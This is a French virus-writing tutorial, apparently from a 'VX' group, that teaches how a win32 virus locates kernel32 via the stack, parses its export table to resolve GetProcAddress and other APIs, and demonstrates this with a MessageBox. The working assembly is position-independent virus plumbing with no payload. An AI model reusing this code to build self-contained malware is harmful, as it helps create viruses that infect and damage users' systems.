******************************************************************************
{{{{{{{{{{{{{{{  Utilisation des APIs dans un virus win32  }}}}}}}}}}}}}}}}}}}
******************************************************************************

Le but d'un virus win32 c'est quand même d'utiliser les APIs win32. Le problème c'est que le virus ne connait pas l'adresse permettant d'appeler ces APIs. La première chose à faire est bien sur de localiser le kernel. Prenez un des exemples expliqués avant ce tutorial. Ici j'utiliserais la méthode de la pile car c'est la plus intéressante. Dans les listings que vous verrez, les variables sont placés avant chaque bout de code. C'est juste pour simplifier la compréhension. Ces varaibles se placent normalement en début de code et en fin de code dans le cas d'un virus. Dans tout ce qui va suivre ebp sera la valeur du delta offset. Je me fiche de la manière dont vous le prenez, cela ne change rien au reste. En voici un petit exemple pour ceux qui ne savent pas le faire:
	call	delta                          ; Calcul du delta offset
delta:                                         ;
	pop	ebp                            ;
	sub	ebp, offset delta              ;
Ensuite vient donc la recherche du kernel (voir cours d'avant):
kernel32 dd 0
PeHeader dd 0
;*******************************************************************************
;  Kernel Search Proc
;*******************************************************************************
                                               ;
mov	edx, [esp]                             ; Methode de la pile
mov	eax,edx                                ; On sauve cette valeur
                                               ;
AND	edx,0FFFF0000h                         ; On diminue la recherche
inc edx                                        ;
                                               ;
boucle:                                        ;
	dec	edx                            ; un cran de moins
	cmp	word ptr [edx], "ZM"           ; Cherche le MZ Header
	jnz	boucle                         ; on repart
                                               ;
MZ_found:                                      ;
	mov	ecx, edx                       ;
	mov	ecx, [ecx+03ch]                ;
	add	ecx, edx                       ;
	cmp	ecx, eax                       ;
	jg	boucle                         ; vérifie que c'est une adresse valide
	cmp	word ptr [ecx] , "EP"          ; On a le PeHeader ?
	jnz	boucle                         ; Non ! on repart
                                               ;
	mov	[ebp+kernel32], edx            ; stocke l'ImageBase du kernel
	mov	[ebp+PeHeader], ecx            ; stocke L'ImageBase du PeHeader
                                               ;
                                               ;
Jusqu'ici rien de nouveau donc. Ensuite on va rechercher kernel32 puis on va aller à l'export table chercher quelques informations (une bonne documentation sur les Headers est nécéssaire. ps: j'ai appris grace aux tuts de Lord Julus et j'ai gardé les mêmes noms de variables ;)
AddName  dd 0
AddFunc  dd 0
AddOrd   dd 0
;*******************************************************************************
;  APIs Search Routine
;  kernel32 = ImageBase du kernel
;  PeHeader = ImageBase du PeHeader
;*******************************************************************************
                                               ;
	mov	edi, [ebp+PeHeader]            ; EDI = adresse du PeHeader
                                               ;
	mov	esi, [edi+78H]                 ; 78H = addresse de l'export table
	add	esi, [ebp+kernel32]            ; on additionne l'ImageBase de kernel32
                                               ; esi pointe l'export table
	mov	edi, [esi+12]                  ;
	add	edi, [ebp+kernel32]            ;
	cmp	dword ptr [edi], "NREK"        ; on a bien l'export table du Kernel ?
	jne	erreur                         ;
                                               ;
	mov	eax, dword ptr [esi+18h]       ;
	add	eax, [ebp+kernel32]            ;
	mov	[ebp+limit], eax               ; Nombre de noms de fonctions
                                               ;
	mov	eax, dword ptr [esi+1Ch]       ;
	add	eax, [ebp+kernel32]            ;
	mov	[ebp+AddFunc], eax             ; Adresses des fonctions exportés
                                               ;
	mov	eax, dword ptr [esi+20h]       ;
	add	eax, [ebp+kernel32]            ;
	mov	[ebp+AddName], eax             ; Adresses des noms des fonctions exportés
                                               ;
	mov	eax, dword ptr [esi+24h]       ;
	add	eax, [ebp+kernel32]            ;
	mov	[ebp+AddOrd], eax              ; adresses des exported oridinals

;-------------------------------------------------------------------------------
; On a tous les ingrédients, partons à la pêche aux APIs
;-------------------------------------------------------------------------------
Un listing est, je pense plus simple que des explications pour cette partie. Maintenant qu'on a réuni assez d'infos sur notre export table il faut commencer à scanner et rechercher l'API GetProcAddress qui est la base de tout. Le code est expliqué au maximum pour pouvoir comprendre (ps: la partie qui suis est TRES ressemblante au code de Lord Julus à quelques modifications près):
First_API          db  "GetProcAddress",0
AGetProcAddress    dd  0
Nindex             dd  0 ;celui la il nous sert à chopper les adresses ou sont stockés les
                         ;adresses des APIs


	mov	esi, [ebp+AddName]             ; ESI = premier pointeur sur une adresse
	mov	[ebp+Nindex], esi              ; Nindex = adresse des adresses des fonctions
	mov	edi, [esi]                     ; on normalise
	add	edi, [ebp+kernel32]            ; EDI = pointeur sur la liste des noms
	mov	ecx, 0                         ; ECX = compteur à 0
	lea	ebx, [ebp+First_API]           ; GetProcAddress.
                                               ;
   onrepart:                                   ;
	mov	esi, ebx                       ; ESI pointe sur le nom
                                               ; qu'on recherche (GetProcAddress)
   compare:                                    ;
	cmpsb                                  ; les 2 bytes sont pareils ?
	jne	prochain                       ; non ! on essaie une autre fonction
                                               ;
	cmp	byte ptr [edi], 0              ; le buffer entier est correct ?
	je	cavachier                      ; YES !
	jmp	compare                        ; non... on essaie le prochain byte
                                               ;
   prochain:                                   ;
	inc	cx                             ; incremente le compteur
	cmp	cx, word ptr [ebp+limit]       ; on vérifie qu'on ne dépasse pas la limite
	jge	erreur                         ; sinon erreur
                                               ;
	add	dword ptr [ebp+Nindex], 4      ; on choppe le prochain pointeur
	mov	esi, [ebp+Nindex]              ; on refait la manip
	mov	edi, [esi]                     ; EDI = pointeur sur la prochaine fonction
	add	edi, [ebp+kernel32]            ; on normalise
	jmp	onrepart                       ; et on repart...
                                               ;
La partie au dessus est la plus difficile à comprendre, c'est aussi la partie où j'ai longtemps bloqué. AddName représente en fait un long tableau (pour les coders c) où l'ont peux trouver les adresses qui pointent sur des noms de fonctions. Nindex nous sert à prendre ces adresses une par une. L'algo ci dessus fait pointer edi sur les noms de fonctions et esi sur le nom de l'API que l'on recherche (GetProcAddress). ensuite il compare les deux noms lettres par lettres. Si une lettre ne correspond pas le programme fait pointer edi sur le prochain nom de fonction. Quand il a trouvé la bonne API, il saute sur "cavachier" (arf j'ai un peu de mal pour choisir les noms de labels ;) Arrivé la on a une petite equation qui nous donne l'adresse de notre fonction. Je laisse la parole à LJ ;):

cx = the index into the Address of Ordinals

Having CX we have the following formulas:

CX * 2 + [Address of Ordinals] = Ordinal
Ordinal * 4 + [Address of Functions] = Address of Function (RVA)

Là aussi j'en ai chié pour capter ce truc. (bah je suis pas l'élite moi ;) CX représente le numéro de notre API. dans AddFunc on a les adresses des fonctions. Une adresse étant un dword il prend 4 bytes. En additionnant (ordinal * 4) à l'adresse on a donc l'adresse de notre fonction. ça, ça va à peut prêt. Mais avant ça il faut avoir la valeur de l'ordinal. Chaque ordinal est un word donc prend 2 bytes. en multipliant CX par 2 puis en ajoutant l'adresse des ordinals, on pointe donc sur la valeur de l'ordinal voulu. Ouah ! faut matter ça à tête reposée mais on finit pas comprendre ;). Voyons donc le code. On peut remplacer les SHL par des IMUL pour simplifier le code:

cavachier:                                     ;
	shl	ecx, 1                         ; ECX = ECX * 2
	mov	esi, [ebp+AddOrd]              ;
	add	esi, ecx                       ; ajoute l'adresse des ordinals
	xor 	eax, eax                       ;
	mov	ax, word ptr [esi]             ; on choppe l'Ordinal
	shl	eax, 2                         ; Ordinal = Ordinal * 4
	mov	esi, [ebp+AddFunc]             ;
	add	esi, eax                       ; Ajoute l'addresse des fonctions
	mov	edi, dword ptr [esi]           ; choppe la RVA
	add	edi, [ebp+kernel32]            ; ajoute ImageBase du kernel
                                               ;
	mov	[ebp+AGetProcAddress], edi     ; on le sauve ! On a gagné ! :)

Après ça, le reste c'est de la rigolade. On se fait une petite fonction pour rechercher nos APIs à l'aide de GetProcAddress. En particulier on recherchera GetModuleHandleA car elle nous permettra de pouvoir utiliser des APIs contenues dans d'autres DLL. (d'ailleurs pourquoi pas se servir des dll opengl pour faire un virus démo ? A suivre ;) Bon voila la procédure. Tout d'abord il faudra déclarer vos APIs comme ceci:
;__--==*** Apis dans Kernel32.dll ***==--__
;¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨

First_API          db  "GetProcAddress",0
NExitProcess       db  "ExitProcess",0
NGetModuleHandleA  db  "GetModuleHandleA",0
db 0FFh
AGetProcAddress    dd  0
AExitProcess       dd  0
AGetModuleHandleA  dd  0
le 0FF représentant la fin de la recherche. Et maintenant le code:
;-------------------------------------------------------------------------------
; Fonctions qui récupère toutes les APIs dont nous avons besoin
; dans Kernel32.dll
;-------------------------------------------------------------------------------
                                               ;
	lea	esi, NExitProcess              ;
	lea	edi, AExitProcess              ; On prépare la recherche des APIs
	add	esi, ebp                       ; On normalise
	add	edi, ebp                       ;
                                               ;
find_apis:                                     ;
                                               ;
	push	esi                            ; Nom de l'API
	push	[ebp+kernel32]                 ; Module de Kernel32
	call	[ebp+AGetProcAddress]          ; API qui nous donne
	cmp	eax,0                          ; l'adresse de l'API recherchée
	je	erreur                         ;
	stosd                                  ; copie l'adresse là où pointe EDI
                                               ; puis ajoute 4 à EDI
                                               ;
choppe_prochaine_api:                          ;
	inc	esi                            ; on choppe le prochain nom d'API
	cmp byte ptr [esi], 0                  ;
	jne choppe_prochaine_api               ;
                                               ;
	inc esi                                ;
	cmp byte ptr [esi], 0FFh               ; On regarde si on est arrivé à la fin
	jne find_apis                          ;

On a donc déjà les APIs qui sont stockés dans Kernel32. Par exemple pour quitter le programme libre à vous de faire ceci:
	push	0
	call	[ebp+AExitProcess]
Maintenant moi j'ai envie de faire des petites boites de messages. Il faut donc aller chercher l'API MessageBoxA dans user32.dll. Pour chopper l'ImageBase de user32.dll on va utiliser l'API GetModuleHandleA qu'on a recherchée avant:
Nuser32  db "User32.dll",0
user32   dd 0
;-------------------------------------------------------------------------------
; Fonctions qui récupère toutes les APIs dont nous avons besoin
; dans User32.dll
;-------------------------------------------------------------------------------

	lea	eax, [ebp+Nuser32]             ; On prend l'ImageBase de user32.dll
	push	eax                            ; grace à GetModuleHandle.
	call	[ebp+AGetModuleHandleA]        ;
	cmp	eax, 0                         ;
	je	erreur                         ;
	mov	[ebp+user32],eax               ; On stocke cette valeur dans user32.

Et on récupère les adresses de nos APIs comme tout à l'heure:
NMessageBoxA  db  "MessageBoxA",0 
db 0FFh
AMessageBoxA  dd  0

	lea	esi, NMessageBoxA              ; On recherche en premier MessageBoxA
	lea	edi, AMessageBoxA              ;
	add	esi, ebp                       ; On normalise
	add	edi, ebp                       ;
                                               ;
find_user_apis:                                ;
                                               ;
	push	esi                            ; On refait la même chose qu'avec Kernel32
	push	[ebp+user32]                   ; pour trouver toutes les adresses des APIs
	call	[ebp+AGetProcAddress]          ; de user32.dll dont nous avons besoin
	cmp	eax,0                          ;
	je	erreur                         ;
	stosd                                  ; copie l'adresse là où pointe EDI
                                               ; puis ajoute 4 à EDI
choppe_user_api:                               ;
	inc	esi                            ; on choppe le prochain nom d'API
	cmp byte ptr [esi], 0                  ;
	jne choppe_user_api                    ;
                                               ;
	inc esi                                ;
	cmp byte ptr [esi], 0FFh               ; On regarde si on est arrivé à la fin
	jne find_user_apis                     ;
                                               ;
Et voila on touche à la fin. Désormais y a plus qu'a afficher une belle boite de message pour voir si ça a marché:
message db "Hccc Rulez",0
titre   db "Search Routine Sucess",0
;*******************************************************************************
;  Fin de l' APIs Search Routine
;*******************************************************************************
                                               ;
	lea	esi,[ebp+message]              ;
	lea	edi,[ebp+titre]                ;
	push	0                              ;
	push	esi                            ;
	push	edi                            ;
	push	0                              ;
	call	[ebp+AMessageBoxA]             ; Affiche une boite de message
                                               ;
	push	0                              ;
	call	[ebp+AExitProcess]             ; Quitte
Et voila c'est nikel. On compile tout avec Tasm:
tasm32 -ml -m5 -q win32.asm
tlink32 -Tpe -aa -x -c win32.obj ,,,import32
On teste le code et on a une jolie boite de message qui apparaît. ça paraît rien mais moi ça me fait trop tripper :). Bon le code est joint pour ceux qui veulent, et bonne chance à tous les VXERS ;)


TiPiaX/VDS